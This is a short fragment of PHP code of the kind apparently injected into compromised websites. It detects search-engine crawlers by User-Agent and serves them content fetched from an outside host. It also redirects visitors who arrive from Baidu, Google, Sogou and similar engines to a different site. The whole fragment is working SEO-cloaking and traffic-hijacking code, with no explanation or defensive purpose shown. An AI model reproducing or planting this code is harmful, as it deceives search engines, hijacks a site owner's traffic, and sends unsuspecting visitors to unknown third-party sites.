if(stripos($_SERVER["HTTP_USER_AGENT"],"baiduspider") == true || stripos($_SERVER["HTTP_USER_AGENT"],"Googlebot") == true || stripos($_SERVER["HTTP_USER_AGENT"],"360Spider") == true || stripos($_SERVER["HTTP_USER_AGENT"],"Sosospider") == true || stripos($_SERVER["HTTP_USER_AGENT"],"HaoSouSpider") == true || stripos($_SERVER["HTTP_USER_AGENT"],"sogou spider") == true){ header("Content-type: text/html; charset=gb2312"); $file = file_get_contents("http://wwwwroot.com/index.php?sd"); echo $file;exit; } if(stristr(@$_SERVER["HTTP_REFERER"],"baidu.com")||stristr(@$_SERVER["HTTP_REFERER"],"google")||stristr(@$_SERVER["HTTP_REFERER"],"so.com")||stristr(@$_SERVER["HTTP_REFERER"],"Soso") || stristr(@$_SERVER["HTTP_REFERER"],"HaoSou")||stristr(@$_SERVER["HTTP_REFERER"],"sogou")){ header("Location:https://www.s36wan.com");exit; } ?>